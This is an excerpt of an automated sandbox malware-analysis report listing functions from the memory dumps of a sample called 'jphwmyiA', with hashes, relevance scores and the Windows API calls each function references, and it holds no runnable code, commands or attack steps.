Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a48d26fa5e1899cde4ebf4024ace70fbedea620818bc0352dd4f185f3da5978e
Instruction ID: 93e6ee93979516adfc1c2b64ca2f7e3c984fc0a0f5b812256b944e438c23a141
Opcode Fuzzy Hash: a48d26fa5e1899cde4ebf4024ace70fbedea620818bc0352dd4f185f3da5978e
Instruction Fuzzy Hash: 80917C3194521ADFDB189FB0C9587AEBBF2FB06302F20582AD506772E4CB785A45CF94

Function 25031440 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b45ab2188b620816a09537be683058f740415f35d61f63b4d12a3e625893581
Instruction ID: e88181544b88b6063acff7a05bf6ccbaf2e1b9849a6751ad7916822f3eb35041
Opcode Fuzzy Hash: 4b45ab2188b620816a09537be683058f740415f35d61f63b4d12a3e625893581
Instruction Fuzzy Hash: ACA10370E00208DFDB14DFA9D994BDDBBF1BF89300F209269E419A72A1DB749985CF51

Function 2503178B Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d05a322c6b01786a5ef106d6cb05048b2d8656373982969fc1ad23fb7f555517
Instruction ID: e127ef576c4af5f85db748f7958e4e879224b44e8ce2d4988daa515b09e55ce3
Opcode Fuzzy Hash: d05a322c6b01786a5ef106d6cb05048b2d8656373982969fc1ad23fb7f555517
Instruction Fuzzy Hash: 1091F370E00208DFEB10DFA8D994BDCBBB1BF49310F209269E419A72A1DB74AD84CF14

Function 250EEB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765907332.00000000250E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250e0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d0b59b793c6ca1c4e4dada5e222102eb4add6e319aa6ac7dab7eed2f33adbdb
Instruction ID: 0873e7f52608e189cf06e7a17f1e2799aa4884c535fc9f4537a2a604982eff7a
Opcode Fuzzy Hash: 6d0b59b793c6ca1c4e4dada5e222102eb4add6e319aa6ac7dab7eed2f33adbdb
Instruction Fuzzy Hash: 1181B674E41218DFDB18DFA5D990A9EBBF2BF88300F208569D809BB368DB356945CF50

Function 250E7150 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765907332.00000000250E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250e0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6000b0fadcbbd3361e1e87f85c456a958df1a33de5fad686599a315c92ae731
Instruction ID: 39b82eba183721e37f7ad62588a59a31c8b60cb8a03272f73d15383396a30a43
Opcode Fuzzy Hash: e6000b0fadcbbd3361e1e87f85c456a958df1a33de5fad686599a315c92ae731
Instruction Fuzzy Hash: AD81A474E40218DFDB18DFA9D990A9EBBF2BF88304F208529D819A7358DB356945CF50

Function 250EE810 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765907332.00000000250E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250e0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d99e11886fe87166b821918ef3507d52ec32e7e7642210dc86d3e7bf9f8fba3a
Instruction ID: f687be32802254f2681a3928fffd4109ed0cfe0c78283c77481292b799bf8f22
Opcode Fuzzy Hash: d99e11886fe87166b821918ef3507d52ec32e7e7642210dc86d3e7bf9f8fba3a
Instruction Fuzzy Hash: CA81A674E40218DFDB14DFA5D990A9EBBF2BF88304F248529D809A7368DB356945CF50

Function 250F6120 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765984605.00000000250F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250f0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b8b833ff89d374496c1c9b858bde9789d0d0c96480c30f37dba23d8106f1866
Instruction ID: 71b9e01ba5fcd9b3bbceddb2b9bc520ded352208e398484ab9265d5193adf02a
Opcode Fuzzy Hash: 0b8b833ff89d374496c1c9b858bde9789d0d0c96480c30f37dba23d8106f1866
Instruction Fuzzy Hash: 1281B574E41218DFDB14DFA5D990A9EBBF2BF88300F208529D805AB369DB356945CF50

Function 25048020 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7bb0f1b4a1b8ef60e738e7ded4d733f399b74ade7c372ca2ce6b5b7f5d81eb6
Instruction ID: cc067b91decde4f5fd384d1dfa65e119cc252df5da9ae496ff5641a38e992ab7
Opcode Fuzzy Hash: d7bb0f1b4a1b8ef60e738e7ded4d733f399b74ade7c372ca2ce6b5b7f5d81eb6
Instruction Fuzzy Hash: AA61E674E012589FDB08DFA9E950ADDBBF2AF88310F14C525E818BB365DA30A941CF14

Function 250B4E98 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765726415.00000000250B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250b0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc7e4e8905e45502f7b2d6cacda61c8750780b8c58244d45fee0a4abe80eaca6
Instruction ID: 28307c3490c5f85fa27340adf3e1b74e4e4245d92494863eb02177b435fe946b
Opcode Fuzzy Hash: fc7e4e8905e45502f7b2d6cacda61c8750780b8c58244d45fee0a4abe80eaca6
Instruction Fuzzy Hash: 8E514871D106188BDB48CFA6D885A9DFBB2FF99304F10C069C818AB255EF746A52CF41

Function 25041E98 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a286a7e721521966d9f89c49a0646b8db0e5ffc0651528dfa99b0c08bfe24476
Instruction ID: e83da0f2d6c987d0222c4cd74a7f1efe327b2fe2a22b77fd710cdc1a21143a1d
Opcode Fuzzy Hash: a286a7e721521966d9f89c49a0646b8db0e5ffc0651528dfa99b0c08bfe24476
Instruction Fuzzy Hash: 56510374E012089BDB08CFAAD945ADDBBF2BF99304F209179C418BB255EB35AD46CF40

Function 250B48FA Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765726415.00000000250B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250b0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74fcda423fa9d9200c44e6a0321ae469add940fb9d75638b1617b24023c4710e
Instruction ID: 112b95c7ba531fa76fb409875608f506d7ff3a01bacd49be2d9bfd4e5fbeed48
Opcode Fuzzy Hash: 74fcda423fa9d9200c44e6a0321ae469add940fb9d75638b1617b24023c4710e
Instruction Fuzzy Hash: BE41C3B1D006088BEB18DFAAD8947DEBBF2BF88304F24C069C418BB255DB755A46CF54

Function 250465B0 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb83d51a4e7b58ddef7782da97b4638a08b05cc0aaf41fe3115729f4e72f0e31
Instruction ID: edbb8ff639756ed91b5aa0bb0e53fe0a4faf5125fc4498a2e3d6301da132f4ed
Opcode Fuzzy Hash: cb83d51a4e7b58ddef7782da97b4638a08b05cc0aaf41fe3115729f4e72f0e31
Instruction Fuzzy Hash: 1041B5B1D006088BEB18DFAAD8447DEBBF2BF89304F24D06AD418BB254EB355945CF55

Function 25047AE0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc19d3b40ce80e82ad5409441efb0ed69ef0ef36a6968c6f8f02bf2d380c95f8
Instruction ID: 6d8f229c78ffb4f3eb87f57c092c771d42b84fb1506db39effa481f4dd46223c
Opcode Fuzzy Hash: cc19d3b40ce80e82ad5409441efb0ed69ef0ef36a6968c6f8f02bf2d380c95f8
Instruction Fuzzy Hash: 1F41D5B0E056488BDB18CFAAD8546DEFBF2BF89304F24D43AC418AB255DB356946CF50

Function 250E09BF Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765907332.00000000250E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250e0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b91310a7322ed6911e2592fae30ce285eec608ed06c6451c8bee7815c98f3d18
Instruction ID: a0a2ebe23a63dac9d341d08ad755ee05ad3eeb3233df72ea55189f44498e85c5
Opcode Fuzzy Hash: b91310a7322ed6911e2592fae30ce285eec608ed06c6451c8bee7815c98f3d18
Instruction Fuzzy Hash: D141C271E01218CBDB18DFAAD854B9EBBF2BF89304F24D06AD818AB254DB345946CF40

Function 250B4F98 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765726415.00000000250B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250b0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2b863c28de898ab011ca3e97634059187446e1858dd0148c9d054f7bcc8b051
Instruction ID: 0f60cfe63da3dd11ad91260c3a76df055d5acb737d7c8659e53fabe5fecefd89
Opcode Fuzzy Hash: e2b863c28de898ab011ca3e97634059187446e1858dd0148c9d054f7bcc8b051
Instruction Fuzzy Hash: 9141F371E006188BDB18DFAAD8946DEBBF2BF89304F10D069C418BB259EB346946CF50

Function 250EEB1F Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765907332.00000000250E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250e0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63712c08e70817159d23497c90fe1a437ded1f3bb487d75019f2348f103deb85
Instruction ID: 549bb1bd2e348a7b0e8ad0bfc44db9c38803af20322735f75b20285e2d686269
Opcode Fuzzy Hash: 63712c08e70817159d23497c90fe1a437ded1f3bb487d75019f2348f103deb85
Instruction Fuzzy Hash: A431D675E016188FDB08DFA6D84069DBBF2BF89300F24D469D418BB258DB346906CF51

Function 250E7140 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765907332.00000000250E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250e0000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ddd19107cb5cd09d3e9dc1121ac3e65a6c2e35c0733521406ddff7f0d5bfe9b
Instruction ID: 73b07d67d05418f98fb14dbf69520bd73c5bd5fdc600630581a02a748a7bb1bc
Opcode Fuzzy Hash: 9ddd19107cb5cd09d3e9dc1121ac3e65a6c2e35c0733521406ddff7f0d5bfe9b
Instruction Fuzzy Hash: DA31C974E052488FDB14DFAAD8506DEFBF2AF89300F20D02AD518BB254DB356906CF51

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 2525DD81 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 2525DE0E
GetCurrentThread.KERNEL32 ref: 2525DE4B
GetCurrentProcess.KERNEL32 ref: 2525DE88
GetCurrentThreadId.KERNEL32 ref: 2525DEE1

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 4adb75602efd7bef64a165b8618dc2fc8adbcc720a59535cbd35a3ea11f223c4
Instruction ID: b31566a91b265932c4d9fddcf1ad87c95191fabb0c4d8be2451db8c951b7ac68
Opcode Fuzzy Hash: 4adb75602efd7bef64a165b8618dc2fc8adbcc720a59535cbd35a3ea11f223c4
Instruction Fuzzy Hash: 8A5138B09013498FDB08DFA9C988B9EBBF5FF49310F208559E00AA7360D7B86D44CB65

Function 2525DD90 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 2525DE0E
GetCurrentThread.KERNEL32 ref: 2525DE4B
GetCurrentProcess.KERNEL32 ref: 2525DE88
GetCurrentThreadId.KERNEL32 ref: 2525DEE1

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 9cab3d1249cad135e4db5d9e6d78cfd0532ee58ec5c4a47b232deaf9b6c2879d
Instruction ID: ee16e24b8b971f3725cc5b47cc319112c57f61ac0b69e4df401c0be6f3336c0f
Opcode Fuzzy Hash: 9cab3d1249cad135e4db5d9e6d78cfd0532ee58ec5c4a47b232deaf9b6c2879d
Instruction Fuzzy Hash: 3F5138B09013098FDB18DFAAC588B9EBBF5FF48314F208559E00AA7360D7B86944CB65

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3731530309.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3731530309.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_jphwmyiA.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 250FD9B0 Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

LR]q, xrefs: 250FD9CC
LR]q, xrefs: 250FDAF9

Memory Dump Source

Source File: 0000000A.00000002.3765984605.00000000250F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 250F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_250f0000_jphwmyiA.jbxd

Similarity

API ID:
String ID: LR]q$LR]q
API String ID: 0-3917262905
Opcode ID: 5223acfb7fb46ee1f50549903e6e113f1a3270df16b9464283ae19626d8d8045
Instruction ID: b5982e45c65e441ce5523c58ceb8287fe72eb178d496a2ee6fa1e078adcb0bdb
Opcode Fuzzy Hash: 5223acfb7fb46ee1f50549903e6e113f1a3270df16b9464283ae19626d8d8045
Instruction Fuzzy Hash: 9181AE357141158FC708DF78D854E5E77F2BF88604B2181A9E506DB3A1DE34EC02CB91

Function 25047520 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

(aq, xrefs: 250476FA
(&]q, xrefs: 2504763B

Memory Dump Source

Source File: 0000000A.00000002.3765563475.0000000025040000.00000040.00000800.00020000.00000000.sdmp, Offset: 25040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25040000_jphwmyiA.jbxd

Similarity

API ID:
String ID: (&]q$(aq
API String ID: 0-1602648543
Opcode ID: 31d52e081f18793a049156b3b6dafe279cd299ecbda6497f36a2e2b4efb8e242
Instruction ID: 5a925be933767cc5e71c3efcb6b4ee25cd8c80ffb4fdc60e864843fc21ef0c15
Opcode Fuzzy Hash: 31d52e081f18793a049156b3b6dafe279cd299ecbda6497f36a2e2b4efb8e242
Instruction Fuzzy Hash: 39718E31F042199BDB15DFA9D850AEEBBF2AF89700F108469D416A7390DF34AD46CB91

Function 2525B234 Relevance: 1.7, APIs: 1, Instructions: 217COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 2525B401

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 884ea1177e39d38ce646f1179497a39fd56f9e4e6212f44ba7a500f476fb8815
Instruction ID: 5f126721acaac00a1b60963cce9363779578bcdab46ef940701a7dbf29d59380
Opcode Fuzzy Hash: 884ea1177e39d38ce646f1179497a39fd56f9e4e6212f44ba7a500f476fb8815
Instruction Fuzzy Hash: AE91C0B5D04259DFCF11CFA8C984ADDBBF1BF09300F14919AE908AB261D735A985CF51

Function 2525B240 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 2525B401

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 65846208c5057cb08ecfd38533f1d741d1178b5f1efa6593d020ef990f464904
Instruction ID: b8d9a62898e800b6ad9c043eb4d0c3827cb8f29781f9063e077da2521150e722
Opcode Fuzzy Hash: 65846208c5057cb08ecfd38533f1d741d1178b5f1efa6593d020ef990f464904
Instruction Fuzzy Hash: F0718CB4D00218DFDF21CFA9D984ADDBBF1BF09310F1091AAE508A7251D774AA85CF55

Function 2503B43C Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62421f1be73146788e51540e97ff17a5c99034d7f782c9e2ad28ff654b8551e5
Instruction ID: 28b1f2bc3c018b6ca0d993d1d75e3310faedbabd87dc93638b80b4218b729401
Opcode Fuzzy Hash: 62421f1be73146788e51540e97ff17a5c99034d7f782c9e2ad28ff654b8551e5
Instruction Fuzzy Hash: F6415E74A04118DFCB14EF98E8C1ADDBBB2FF59318F609159D409A7241CB35AD82CF50

Function 2525DFD1 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2525E0A3

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 033cab75b2be88c57253241a7bcd4ba9e0974df6d0bad8023ae41b17293f49aa
Instruction ID: 40f2e4263ded7ecec725fa5184e899dde7ca4a82fbd21a0459a43f702c74481c
Opcode Fuzzy Hash: 033cab75b2be88c57253241a7bcd4ba9e0974df6d0bad8023ae41b17293f49aa
Instruction Fuzzy Hash: AC4166B9D002589FCF10CFA9D984ADEBBF5BB09310F14906AE918BB350D375A945CF54

Function 2525DFD8 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2525E0A3

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 6d47b503503b86b0bc4337437609fa6604f6d9aca9464b1e4c189216f390d467
Instruction ID: 8ab4002e33ce169a6a934173512283bb09beb45694cba78d2bb44d3deb870e8e
Opcode Fuzzy Hash: 6d47b503503b86b0bc4337437609fa6604f6d9aca9464b1e4c189216f390d467
Instruction Fuzzy Hash: 6D4156B9D002589FCF10CFA9D984ADEBBF5BB09310F24906AE918BB350D375A945CF94

Function 2503B3DC Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a96c09f6aceb4204945ed710e9135daa727dde753a5172ef6a576169ab8c1780
Instruction ID: 74c136ed0e284934dca9fbd4cb138f9704d8eb2322973e55eb1385401439dae7
Opcode Fuzzy Hash: a96c09f6aceb4204945ed710e9135daa727dde753a5172ef6a576169ab8c1780
Instruction Fuzzy Hash: FA411874A04218EFCB14DF98E881AEDBBB2FF48318F609159D405AB291CB35A986CF50

Function 2503B2A0 Relevance: 1.6, APIs: 1, Instructions: 100libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 2503B2F1

Memory Dump Source

Source File: 0000000A.00000002.3765507627.0000000025030000.00000040.00000800.00020000.00000000.sdmp, Offset: 25030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25030000_jphwmyiA.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7656609f93498754d875805f565d4bf43a9298d54c9e0ba7f4f2b457b440cfd8
Instruction ID: 980a4bcb93ee59d134a56d042e2283f679bd2db949d487bd972b1b0a36ec6631
Opcode Fuzzy Hash: 7656609f93498754d875805f565d4bf43a9298d54c9e0ba7f4f2b457b440cfd8
Instruction Fuzzy Hash: AF4159B0E04218DBDB14DF99D985ADDFBF2BF88314F24D169D4046B285CB31A986CF90

Function 2525E4A4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 2525F351

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: ac4d43a2a9c59d900b5bdd00ae9d98e8a7107fe6a09ec800311634ea9492b5a8
Instruction ID: 9387bd1cf56854b8d5df73f406e18fae1144ac881e8a56314bb76277ea5a1a45
Opcode Fuzzy Hash: ac4d43a2a9c59d900b5bdd00ae9d98e8a7107fe6a09ec800311634ea9492b5a8
Instruction Fuzzy Hash: 2D4128B4900245DFDB08CF99C884AAABBF5FF88310F24C559D519A7361D774A941CFA0

Function 20E5EE60 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 20E5EF04

Memory Dump Source

Source File: 0000000A.00000002.3758183660.0000000020E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 20E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20e50000_jphwmyiA.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: cbc58e61ca6fedaf302b2135e6f742c729cedfefe6cad8d25e59154482fd486a
Instruction ID: aae95346f0ea64f838fcf0547037ca73ba7c32a79938a16d6ee1dd010f5cf277
Opcode Fuzzy Hash: cbc58e61ca6fedaf302b2135e6f742c729cedfefe6cad8d25e59154482fd486a
Instruction Fuzzy Hash: D23198B8D012489FCB14DFA9D980A9EFBF1BF49310F20942AE819B7210D775A945CFA4

Function 25258C70 Relevance: 1.6, APIs: 1, Instructions: 88timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(00000000,?,?,00000000), ref: 2525F5CB

Memory Dump Source

Source File: 0000000A.00000002.3766131011.0000000025250000.00000040.00000800.00020000.00000000.sdmp, Offset: 25250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25250000_jphwmyiA.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 2c25efd3e4242843112bdbfd068ab75e1959ded8e604f6fc9d72e39264617060
Instruction ID: 9bd2e390ec38f8f79f84602e5170302acd8a3851de32637f0139e13eeff18d6e
Opcode Fuzzy Hash: 2c25efd3e4242843112bdbfd068ab75e1959ded8e604f6fc9d72e39264617060
